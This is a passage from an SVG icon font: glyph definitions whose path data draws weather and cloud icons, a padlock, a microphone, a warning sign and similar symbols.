			L 115.081,249.104z M 332.902,70.914c-5.506,5.469-14.329,5.469-19.797,0c-5.469-5.468-5.506-14.328,0-19.797l 19.797-19.797
			c 5.468-5.468, 14.327-5.468, 19.797,0c 5.468,5.469, 5.468,14.329,0,19.797L 332.902,70.914z"  />
<glyph unicode="&#xe28e;" d="M 217.072,153.059c-27.58,27.599-34.982,67.467-22.767,101.974
	c-13.344-4.721-25.959-12.104-36.622-22.767c-38.282-38.281-38.282-100.334,0-138.596c 38.263-38.264, 100.297-38.283, 138.577,0
	c 10.7,10.663, 18.065,23.279, 22.768,36.622C 284.539,118.079, 244.653,125.48, 217.072,153.059z"  />
<glyph unicode="&#xe28f;" d="M 182,328c 7.729,0, 14,6.271, 14,14L 196,370 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 168,334.271, 174.271,328, 182,328z M 290.883,291.104l 19.797,19.797c 5.468,5.469, 5.468,14.328,0,19.797
			c-5.469,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.469-5.469-5.469-14.328,0-19.797
			C 276.554,285.635, 285.414,285.635, 290.883,291.104z M 14,188l 28,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 14,216 
			c-7.729,0-14-6.271-14-14S 6.271,188, 14,188z M 308,202c0-7.729, 6.271-14, 14-14l 28,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14l-28,0 
			C 314.271,216, 308,209.729, 308,202z M 73.098,291.104c 5.47-5.469, 14.329-5.469, 19.797,0c 5.47,5.469, 5.47,14.328,0,19.797
			L 73.098,330.698c-5.469,5.469-14.327,5.469-19.797,0c-5.469-5.469-5.469-14.328,0-19.797L 73.098,291.104z M 350,160
			c-4.648,0-9.242-0.328-13.818-0.984c-14.675,20.016-34.233,35.291-56.401,45.063C 278.652,257.125, 235.321,300, 182,300
			c-54.031,0-98-43.969-98-98c0-15.258, 3.792-29.531, 10.063-42.383C 41.891,157.484,0,114.664,0,62c0-54.031, 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083-51.677, 190.313-64, 224-64c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301-33.813, 338.023-36, 350-36c 54.031,0, 98,43.969, 98,98S 404.031,160, 350,160z M 224,216c-40.196,0-77.438-17.335-103.578-46.594
			C 115.227,179.177, 112,190.151, 112,202c0,38.665, 31.335,70, 70,70c 34.835,0, 63.492-25.521, 68.87-58.844
			C 242.102,214.906, 233.152,216, 224,216z"  />
<glyph unicode="&#xe290;" d="M 380.679,154.605c 4.266,3.172, 8.585,6.289, 12.45,10.153c 11.557,11.575, 20.362,25.666, 26.068,41.872
	c 1.823,5.068, 0.528,10.755-3.3,14.547c-3.81,3.828-9.46,5.122-14.545,3.318c-30.971-10.938-64.477-3.5-87.409,19.469
	c-22.968,22.969-30.442,56.456-19.468,87.409c 1.787,5.086, 0.51,10.737-3.318,14.565c-3.791,3.791-9.46,5.104-14.547,3.317
	c-16.224-5.76-30.297-14.547-41.855-26.104c-29.348-29.313-38.482-70.875-28.419-108.318c-37.844-4.831-71.859-24.938-94.518-55.818
	c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.968-98-98c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.417
	C 158.082-51.676, 190.312-64, 223.999-64c 33.724,0, 65.916,12.323, 91.255,34.417c 11.047-4.229, 22.768-6.417, 34.745-6.417
	c 54.031,0, 98,43.969, 98,98C 448,105.258, 419.635,141.643, 380.679,154.605z M 254.552,303.354c 2.224,2.26, 4.612,4.357, 7.128,6.325
	c-1.969-31.482, 9.388-62.453, 32.466-85.513c 23.079-23.078, 54.050-34.416, 85.532-32.466c-12.068-15.386-28.693-24.956-46.485-29.040
	c-23.953,30.406-59.154,49.546-97.963,52.664C 224.492,245.039, 230.781,279.584, 254.552,303.354z"  />
<glyph unicode="&#xe291;" d="M 350,244c-4.648,0-9.242-0.328-13.818-0.984
	C 310.042,278.635, 268.789,300, 224,300s-86.023-21.365-112.182-56.984C 107.242,243.672, 102.648,244, 98,244C 43.969,244,0,200.031,0,146
	c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,32.323, 190.313,20, 224,20
	c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301,50.187, 338.023,48, 350,48c 54.031,0, 98,43.969, 98,98
	C 448,200.031, 404.031,244, 350,244z"  />
<glyph unicode="&#xe292;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
	c-44.79,0-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
	c 11.977,0, 23.698,2.188, 34.745,6.416c 18.848-16.425, 41.489-27.38, 65.716-31.956L 168,76l 28-28l-28-84l 84,84l-28,28l 9.625,28.874
	c 30.151,2.133, 58.734,13.6, 81.63,33.542C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z"  />
<glyph unicode="&#xe293;" d="M 350,300c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,334.635, 268.789,356, 224,356s-86.023-21.365-112.182-56.984C 107.242,299.672, 102.648,300, 98,300C 43.969,300,0,256.031,0,202
			c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,88.323, 190.313,76, 224,76
			c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301,106.187, 338.023,104, 350,104c 54.031,0, 98,43.969, 98,98
			C 448,256.031, 404.031,300, 350,300z M 196-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 196,7.477, 196-8z"  />
<glyph unicode="&#xe294;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 196.875-36c0-15.477, 12.523-28, 28-28
			s 28,12.523, 28,28s-28,56-28,56S 196.875-20.523, 196.875-36z M 308-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56
			S 308,7.477, 308-8z M 84,48c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 84,63.477, 84,48z"  />
<glyph unicode="&#xe295;" d="M 364.912,238.677c-20.982,21.474-49.984,33.925-80.264,33.925
			c-30.242,0-59.227-12.45-80.226-33.925c-46.21-2.152-83.125-40.415-83.125-87.136c0-48.088, 39.12-87.208, 87.227-87.208
			c 5.086,0, 10.153,0.438, 15.094,1.312c 18.156-11.848, 39.321-18.247, 61.030-18.247c 21.747,0, 42.93,6.399, 61.051,18.247
			c 4.994-0.874, 10.026-1.312, 15.13-1.312c 48.070,0, 87.172,39.12, 87.172,87.208C 448,198.263, 411.086,236.526, 364.912,238.677z
			 M 126,76L 14,76 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 112,0 c 7.729,0, 14,6.271, 14,14S 133.729,76, 126,76z M 14,104l 56,0 
			c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 14,132 c-7.729,0-14-6.271-14-14S 6.271,104, 14,104z M 42,160l 56,0 c 7.729,0, 14,6.271, 14,14
			s-6.271,14-14,14L 42,188 c-7.729,0-14-6.271-14-14S 34.271,160, 42,160z"  />
<glyph unicode="&#xe296;" d="M 364.912,322.057C 343.929,343.55, 314.927,356, 284.648,356
			c-30.242,0-59.227-12.45-80.207-33.943c-46.211-2.133-83.143-40.396-83.143-87.099c0-48.106, 39.12-87.245, 87.227-87.245
			c 5.105,0, 10.153,0.438, 15.112,1.313c 18.138-11.831, 39.302-18.229, 61.013-18.229c 21.747,0, 42.93,6.398, 61.051,18.229
			c 4.994-0.874, 10.026-1.313, 15.13-1.313c 48.070,0, 87.172,39.139, 87.172,87.245C 448,281.662, 411.086,319.943, 364.912,322.057z
			 M 126,159.398L 14,159.398 c-7.729,0-14-6.253-14-14c0-7.746, 6.271-14, 14-14l 112,0 c 7.729,0, 14,6.254, 14,14
			C 140,153.145, 133.729,159.398, 126,159.398z M 14,187.398l 56,0 c 7.729,0, 14,6.253, 14,14c0,7.747-6.271,14-14,14L 14,215.398 
			c-7.729,0-14-6.253-14-14C0,193.651, 6.271,187.398, 14,187.398z M 42,243.398l 56,0 c 7.729,0, 14,6.253, 14,14c0,7.747-6.271,14-14,14L 42,271.398 
			c-7.729,0-14-6.253-14-14C 28,249.651, 34.271,243.398, 42,243.398z M 196,48c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56
			S 196,63.477, 196,48z M 308-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 308,7.477, 308-8z"  />
<glyph unicode="&#xe297;" d="M 285.287-4.227l-15.75,9.079
			c 0.474,2.734, 0.837,5.522, 0.837,8.421c0,2.898-0.363,5.688-0.874,8.422l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091
			c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 
			c0,8.55-6.946,15.477-15.477,15.477s-15.459-6.927-15.459-15.477l0-18.266 c-5.359-1.915-10.19-4.794-14.456-8.422l-15.878,9.188
			c-7.419,4.266-16.88,1.75-21.145-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44
			c0-2.899, 0.328-5.688, 0.839-8.421L 162.75-4.227c-7.402-4.266-9.953-13.781-5.688-21.165s 13.727-9.898, 21.109-5.633l 15.896,9.133
			c 4.265-3.609, 9.097-6.453, 14.473-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.459-15.421s 15.477,6.891, 15.477,15.421l0,18.321 
			c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203-18.008, 292.688-8.547, 285.287-4.227z M 224-2.203c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.458-6.909, 15.458-15.44S 232.531-2.203, 224-2.203z M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.041,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z"  />
<glyph unicode="&#xe298;" d="M 285.287-4.227l-15.75,9.079
			c 0.474,2.734, 0.838,5.522, 0.838,8.421c0,2.898-0.364,5.688-0.875,8.422l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091
			c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 
			c0,8.55-6.946,15.477-15.477,15.477s-15.458-6.927-15.458-15.477l0-18.266 c-5.36-1.915-10.19-4.794-14.456-8.422l-15.878,9.188
			c-7.419,4.266-16.881,1.75-21.146-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44
			c0-2.899, 0.328-5.688, 0.839-8.421L 162.75-4.227c-7.402-4.266-9.953-13.781-5.688-21.165s 13.727-9.898, 21.109-5.633l 15.896,9.133
			c 4.265-3.609, 9.097-6.453, 14.474-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.458-15.421s 15.477,6.891, 15.477,15.421l0,18.321 
			c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203-18.008, 292.688-8.547, 285.287-4.227z M 224-2.203c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.459-6.909, 15.459-15.44S 232.531-2.203, 224-2.203z M 414.895,37.281l-10.573,2.807c-0.255,3.354-1.057,6.544-2.534,9.607
			l 7.675,7.675c 3.609,3.609, 3.591,9.443,0,12.997c-3.573,3.591-9.37,3.609-12.979,0l-7.692-7.656
			c-3.027,1.422-6.253,2.242-9.589,2.516l-2.808,10.554c-1.312,4.885-6.344,7.821-11.265,6.508
			c-4.904-1.331-7.766-6.362-6.49-11.266l 2.808-10.409c-1.386-0.949-2.699-2.005-3.938-3.209c-1.203-1.24-2.224-2.551-3.173-3.902
			l-10.409,2.808c-4.904,1.312-9.972-1.641-11.284-6.508c-1.312-4.922, 1.641-9.935, 6.49-11.266l 10.5-2.825
			c 0.292-3.3, 1.131-6.526, 2.607-9.589l-7.71-7.71c-3.573-3.591-3.554-9.388, 0.037-12.96
			c 3.573-3.573, 9.37-3.609, 12.943-0.037l 7.728,7.729c 3.027-1.494, 6.272-2.333, 9.626-2.587l 2.77-10.518
			c 1.349-4.904, 6.344-7.821, 11.266-6.508c 4.885,1.313, 7.837,6.343, 6.526,11.302l-2.808,10.409c 1.313,0.929, 2.662,1.969, 3.902,3.172
			c 1.203,1.221, 2.224,2.571, 3.171,3.919l 10.427-2.808c 4.904-1.313, 9.953,1.622, 11.247,6.49
			C 422.679,30.902, 419.781,35.932, 414.895,37.281z M 383.523,31.429c-3.609-3.609-9.425-3.591-13.016,0
			c-3.554,3.554-3.591,9.388,0,12.997c 3.591,3.573, 9.425,3.573, 13.016,0C 387.078,40.836, 387.078,34.984, 383.523,31.429z
			 M 104.071,84.312l-10.391-2.79c-0.966,1.313-1.969,2.643-3.19,3.883c-1.239,1.203-2.551,2.242-3.919,3.172l 2.79,10.446
			c 1.313,4.904-1.605,9.953-6.453,11.247c-4.922,1.313-9.953-1.605-11.266-6.49l-2.844-10.554c-3.335-0.273-6.526-1.094-9.571-2.534
			l-7.71,7.675c-3.609,3.609-9.406,3.591-12.98,0c-3.591-3.591-3.591-9.406,0-12.997l 7.675-7.675
			c-1.44-3.063-2.279-6.289-2.534-9.607l-10.537-2.807c-4.922-1.349-7.839-6.344-6.526-11.266c 1.331-4.885, 6.362-7.766, 11.284-6.49
			l 10.391,2.826c 0.929-1.404, 1.969-2.717, 3.227-3.938c 1.203-1.203, 2.516-2.279, 3.883-3.172l-2.79-10.409
			c-1.313-4.922, 1.605-9.99, 6.489-11.302c 4.923-1.313, 9.917,1.604, 11.23,6.508l 2.844,10.5c 3.335,0.273, 6.563,1.112, 9.625,2.571l 7.692-7.693
			c 3.573-3.608, 9.37-3.536, 12.98,0.037c 3.554,3.554, 3.609,9.37,0,12.96l-7.71,7.71c 1.477,3.027, 2.352,6.289, 2.571,9.626
			l 10.554,2.79c 4.867,1.331, 7.784,6.344, 6.471,11.266C 114.042,82.671, 109.011,85.588, 104.071,84.312z M 77.492,59.412
			c-3.591-3.591-9.406-3.591-13.016,0c-3.554,3.573-3.554,9.425,0,12.979c 3.609,3.573, 9.425,3.573, 13.016,0
			S 81.047,62.984, 77.492,59.412z M 448,230c0,54.031-43.969,98-98,98c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132C 404.031,132, 448,175.969, 448,230z"  />
<glyph unicode="&#xe299;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
			s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 84,104c-15.477,0-28-12.523-28-28
			s 12.523-28, 28-28s 28,12.523, 28,28S 99.477,104, 84,104z M 224,76c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28
			S 239.477,76, 224,76z M 364,104c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28S 379.477,104, 364,104z M 308-8
			c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28S 323.477-8, 308-8z M 140-8c-15.477,0-28-12.523-28-28
			s 12.523-28, 28-28s 28,12.523, 28,28S 155.477-8, 140-8z"  />
<glyph unicode="&#xe29a;" d="M 427.292,167.51c 12.796-16.552, 20.708-37.023, 20.708-59.5c0-54.030-43.969-98-98-98
	c-11.977,0-23.698,2.188-34.745,6.416c-25.338-22.093-57.53-34.416-91.255-34.416c-33.688,0-65.917,12.323-91.255,34.416
	c-11.047-4.229-22.768-6.416-34.745-6.416c-54.031,0-98,43.97-98,98c0,54.031, 43.969,98, 98,98
	c 4.648,0, 9.242-0.328, 13.818-0.984c 0.456,0.638, 1.020,1.203, 1.494,1.823c-0.711,4.321-1.313,8.659-1.313,13.161
	c0,43.021, 35,78.003, 77.984,78.003c 2.114,0, 4.211-0.091, 6.289-0.256c 20.234,25.247, 50.75,40.232, 83.727,40.232
	c 32.995,0, 63.492-14.984, 83.727-40.232c 2.078,0.165, 4.156,0.256, 6.253,0.256C 413,298.013, 448,263.031, 448,220.010
	C 448,199.74, 440.051,181.419, 427.292,167.51z"  />
<glyph unicode="&#xe29b;" d="M 448,266.021c0,43.003-35,77.983-78.021,77.983c-2.096,0-4.175-0.073-6.253-0.236
	C 343.492,368.997, 312.995,384, 280,384c-32.977,0-63.492-15.003-83.727-40.232c-2.078,0.164-4.175,0.236-6.289,0.236
	C 147,344.005, 112,309.023, 112,266.021c0-4.503, 0.602-8.859, 1.313-13.162c-0.474-0.619-1.039-1.185-1.494-1.823
	c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.969-98-98c0-54.032, 43.969-98, 98-98c 11.977,0, 23.698,2.187, 34.745,6.416
	c 16.060-14, 35.091-23.571, 55.306-29.057L 168,20l 28-28l-28-56l 84,56l-28,28l 4.211,8.385c 32.156,0.984, 62.781,12.888, 87.044,34.052
	c 11.047-4.23, 22.768-6.416, 34.745-6.416c 54.031,0, 98,43.968, 98,98c0,22.458-7.912,42.948-20.708,59.5
	C 440.051,227.412, 448,245.732, 448,266.021z"  />
<glyph unicode="&#xe29c;" d="M 252,68.234L 252,325.448 C 252,342.328, 239.458,356, 224,356
	c-15.459,0-28-13.672-28-30.552l0-257.213 c-16.662-9.698-28-27.563-28-48.234c0-30.916, 25.083-56, 56-56c 30.916,0, 56,25.084, 56,56
	C 280,40.671, 268.679,58.537, 252,68.234z"  />
<glyph unicode="&#xe29d;" d="M 224,384C 100.278,384,0,283.722,0,160c0-123.703, 100.278-224, 224-224c 123.703,0, 224,100.297, 224,224
			C 448,283.722, 347.703,384, 224,384z M 224-8c-92.641,0-168,75.359-168,168S 131.359,328, 224,328s 168-75.359, 168-168S 316.641-8, 224-8
			z M 140,76l 112,56l 56,112l-112-56L 140,76z"  />
<glyph unicode="&#xe29e;" d="M 139.207,140.185l-0.912,0 l-29.331,44.79l-35.821,52.882l-27.781,0 l0-154.346 l 30.679,0 L 76.042,180.727 l 1.331,0 
			l 25.466-38.974l 39.102-58.242l 27.946,0 L 169.887,237.857 l-30.679,0 L 139.207,140.185 z M 180.66,74.105l 22.605,0 l 56.692,171.791l-22.859,0 L 180.66,74.105z
			 M 348.879,237.857l-31.354,0 l-54.232-154.346l 32.703,0 l 10.081,31.828l 53.777,0 l 9.405-31.828l 33.378,0 L 348.879,237.857z M 314.371,141.078
			l 6.253,20.381l 11.903,40.103l 0.875,0 l 12.122-40.779l 6.034-19.706L 314.371,141.077 z"  />
<glyph unicode="&#xe29f;" d="M 183.021,229.672c-3.154,2.971-6.818,5.323-10.974,7.054c-4.211,1.696-8.696,2.571-13.453,2.571
			c-4.776,0-9.261-0.875-13.453-2.571c-4.156-1.732-7.821-4.084-10.973-7.054c-3.136-2.99-5.596-6.49-7.402-10.537
			c-1.787-4.029-2.679-8.294-2.679-12.76c0-4.484, 0.893-8.75, 2.679-12.779c 1.804-4.029, 4.266-7.547, 7.402-10.518
			c 3.154-2.99, 6.817-5.359, 10.973-7.055c 4.192-1.732, 8.677-2.588, 13.453-2.588c 4.758,0, 9.242,0.857, 13.453,2.588
			c 4.156,1.696, 7.821,4.065, 10.974,7.055c 3.135,2.971, 5.596,6.49, 7.364,10.518c 1.787,4.029, 2.716,8.294, 2.716,12.779
			c0,4.466-0.929,8.732-2.716,12.76C 188.617,223.183, 186.156,226.683, 183.021,229.672z M 169.586,195.839
			c-3.008-2.99-6.672-4.484-10.992-4.484s-7.984,1.495-10.992,4.484c-2.971,2.99-4.484,6.49-4.484,10.537
			c0,4.156, 1.513,7.729, 4.484,10.627c 3.008,2.916, 6.672,4.357, 10.992,4.357s 7.984-1.44, 10.992-4.357
			c 2.953-2.898, 4.466-6.471, 4.466-10.627C 174.052,202.328, 172.539,198.828, 169.586,195.839z M 293.344,111.183
			c-5.304-1.514-10.573-2.26-15.804-2.26c-3.446,0-6.836,0.528-10.19,1.566c-3.372,1.058-6.435,2.699-9.187,4.94
			c-2.771,2.243-5.014,5.105-6.709,8.622c-1.714,3.5-2.588,7.802-2.588,12.87l0,45.026 c0,5.068, 0.874,9.406, 2.588,12.997
			c 1.695,3.573, 3.902,6.49, 6.598,8.732c 2.699,2.242, 5.724,3.846, 9.188,4.813c 3.427,0.967, 6.855,1.459, 10.3,1.459
			c 5.232,0, 10.609-0.766, 16.132-2.352c 5.524-1.567, 10.665-4.374, 15.459-8.403l 14.784,23.753
			c-5.997,5.213-13.107,9.023-21.419,11.429c-8.277,2.37-16.881,3.573-25.85,3.573c-7.31,0-14.51-1.057-21.51-3.136
			c-7.018-2.096-13.253-5.232-18.703-9.406c-5.432-4.193-9.862-9.37-13.198-15.567c-3.391-6.198-5.067-13.416-5.067-21.619
			l0-57.787 c0-8.367, 1.732-15.641, 5.177-21.839c 3.427-6.198, 7.911-11.357, 13.417-15.458c 5.54-4.12, 11.794-7.2, 18.812-9.297
			c 7.037-2.078, 14.2-3.136, 21.529-3.136c 9.097,0, 17.737,1.349, 25.977,4.029c 8.203,2.698, 15.148,6.435, 20.835,11.193
			l-14.565,23.753C 303.989,115.484, 298.63,112.659, 293.344,111.183z"  />
<glyph unicode="&#xe2a0;" d="M 182.465,228.888c-3.154,2.971-6.817,5.323-10.973,7.054c-4.211,1.696-8.696,2.571-13.453,2.571
			c-4.777,0-9.261-0.875-13.453-2.571c-4.156-1.732-7.821-4.084-10.974-7.054c-3.135-2.989-5.596-6.489-7.402-10.536
			c-1.787-4.029-2.679-8.294-2.679-12.761c0-4.484, 0.893-8.75, 2.679-12.778c 1.805-4.029, 4.267-7.547, 7.402-10.518
			c 3.154-2.989, 6.818-5.359, 10.974-7.054c 4.192-1.732, 8.677-2.588, 13.453-2.588c 4.758,0, 9.242,0.857, 13.453,2.588
			c 4.156,1.696, 7.821,4.065, 10.973,7.054c 3.136,2.971, 5.596,6.49, 7.364,10.518c 1.787,4.029, 2.717,8.294, 2.717,12.778
			c0,4.466-0.93,8.732-2.717,12.761C 188.061,222.399, 185.601,225.899, 182.465,228.888z M 169.030,195.055
			c-3.008-2.99-6.672-4.485-10.992-4.485s-7.984,1.495-10.992,4.485c-2.971,2.989-4.484,6.489-4.484,10.536
			c0,4.156, 1.513,7.729, 4.484,10.628c 3.008,2.916, 6.672,4.357, 10.992,4.357s 7.984-1.44, 10.992-4.357
			c 2.952-2.898, 4.466-6.471, 4.466-10.628C 173.496,201.544, 171.982,198.044, 169.030,195.055z M 324.469,208.271l0,27.563 L 218.085,235.834 l0-154.346 
			l 30.68,0 l0,62.946 l 64.732,0 l0,27.544 l-64.732,0 l0,36.294 L 324.469,208.271 z"  />
<glyph unicode="&#xe1c3;" d="M 442.064,17.046l-167.986,336C 264.6,372.016, 245.224,384, 224,384s-40.6-11.984-50.078-30.954
			l-167.986-336c-8.68-17.36-7.756-37.982, 2.45-54.502C 18.592-53.948, 36.61-64, 56.014-64l 335.958,0 c 19.418,0, 37.436,10.052, 47.628,26.544
			C 449.806-20.936, 450.73-0.314, 442.064,17.046z M 251.972,6c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 
			c 7.742,0, 14-6.258, 14-14L 251.972,6 z M 251.972,118c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14L 195.972,258 c0,7.728, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.272, 14-14
			L 251.972,118 z"  />
<glyph unicode="&#xe1c4;" d="M 448,90c0-54.124-43.876-98-98-98L 98-8 l0,0.35 c-54.712,3.612-98,49.028-98,104.65
	c0,34.622, 16.828,65.226, 42.672,84.35C 42.462,183.576, 42,185.732, 42,188c0,38.668, 31.346,70, 70,70c 13.454,0, 25.914-3.99, 36.582-10.57
	C 166.824,294.54, 212.464,328, 266,328c 69.594,0, 126-56.406, 126-126c0-7.714-0.798-15.204-2.128-22.526C 424.102,164.186, 448,129.914, 448,90z"  />
<glyph unicode="&#xe22e;" d="M 406-64L 42-64 c-7.728,0-14,6.258-14,14L 28,174 c0,7.742, 6.272,14, 14,14l 42,0 l0,56 C 84,321.322, 146.678,384, 224,384
	s 140-62.678, 140-140l0-56 l 42,0 c 7.742,0, 14-6.258, 14-14l0-224 C 420-57.742, 413.742-64, 406-64z M 308,251C 308,293.532, 270.382,328, 224,328s-84-34.468-84-77L 140,188 l 168,0 L 308,251 z"  />
<glyph unicode="&#xe2a1;" d="M 364,370c0,7.728-6.258,14-14,14l-14,0 l-14,0 L 126,384 L 112,384 L 98,384 C 90.272,384, 84,377.728, 84,370L0,160l0-196 
	c0-15.456, 12.544-28, 28-28l 392,0 c 15.456,0, 28,12.544, 28,28L 448,160 L 364,370z M 322,160l-42-70c0-7.742-6.258-14-14-14l-84,0 c-7.742,0-14,6.258-14,14l-42,70L 56,160 L 128.002,328
	l 192.010,0 L 392,160L 322,160 z"  />
<glyph unicode="&#xe2a2;" d="M 224-7.566c-9.086,0-22.386,10.22-31.206,11.158c-25.158-21.098-51.366-46.494-86.996-59.696
	c-15.554-6.594-28.91-10.416-32.382-6.258c-4.662,5.418-11.704,12.936-12.95,14.952c 0.070,2.996, 3.696,0.63, 7.644,4.886
	c 21.504,9.044, 35.392,32.382, 44.73,60.914C 45.486,52.144,0,115.466,0,188.182C0,296.276, 100.296,383.916, 224,383.916s 224-87.626, 224-195.734
	S 347.704-7.566, 224-7.566z"  />
<glyph unicode="&#xe2a3;" d="M 392,174l-0.686,0 C 384.426,100.15, 324.688,20, 252,20l0-56 l 84,0 c 7.742,0, 14-6.258, 14-14
	s-6.258-14-14-14L 112-64 c-7.742,0-14,6.258-14,14s 6.258,14, 14,14l 84,0 l0,56 c-72.688,0-132.412,80.15-139.314,154L 56,174 l0,14 l0,0l0,0l0,14 l0,0L 56,258 c0,15.456, 12.544,28, 28,28
	s 28-12.544, 28-28l0-28 l0-28 l0-14 c0-61.852, 50.148-112, 112-112s 112,50.148, 112,112l0,14 l0,28 L 336,258 c0,15.456, 12.544,28, 28,28s 28-12.544, 28-28l0-28 l0,0L 392,174 z M 224,132
	c-38.668,0-56,31.332-56,70L 168,314 c0,38.654, 17.332,70, 56,70s 56-31.346, 56-70l0-112 C 280,163.332, 262.668,132, 224,132z M 245,188c 3.864,0, 7,3.136, 7,7
	c0,3.85-3.136,7-7,7S 238,198.85, 238,195C 238,191.136, 241.136,188, 245,188z M 203,272C 199.136,272, 196,268.85, 196,265
	C 196,261.136, 199.136,258, 203,258S 210,261.136, 210,265C 210,268.85, 206.864,272, 203,272z M 210,293C 210,296.864, 206.864,300, 203,300S 196,296.864, 196,293
	C 196,289.136, 199.136,286, 203,286S 210,289.136, 210,293z M 217,230c-3.864,0-7-3.15-7-7c0-3.864, 3.136-7, 7-7s 7,3.136, 7,7
	C 224,226.85, 220.864,230, 217,230z M 231,230c 3.864,0, 7,3.136, 7,7c0,3.85-3.136,7-7,7S 224,240.85, 224,237
	C 224,233.136, 227.136,230, 231,230z M 217,244c 3.864,0, 7,3.136, 7,7C 224,254.85, 220.864,258, 217,258S 210,254.85, 210,251
	C 210,247.136, 213.136,244, 217,244z M 203,244c-3.864,0-7-3.15-7-7c0-3.864, 3.136-7, 7-7s 7,3.136, 7,7
	C 210,240.85, 206.864,244, 203,244z M 217,272C 220.864,272, 224,275.136, 224,279C 224,282.864, 220.864,286, 217,286S 210,282.864, 210,279
	C 210,275.136, 213.136,272, 217,272z M 231,286C 234.864,286, 238,289.136, 238,293C 238,296.864, 234.864,300, 231,300S 224,296.864, 224,293C 224,289.136, 227.136,286, 231,286z
	 M 231,272C 227.136,272, 224,268.85, 224,265C 224,261.136, 227.136,258, 231,258S 238,261.136, 238,265C 238,268.85, 234.864,272, 231,272z M 245,272
	C 248.864,272, 252,275.136, 252,279C 252,282.864, 248.864,286, 245,286S 238,282.864, 238,279C 238,275.136, 241.136,272, 245,272z M 245,258C 241.136,258, 238,254.85, 238,251
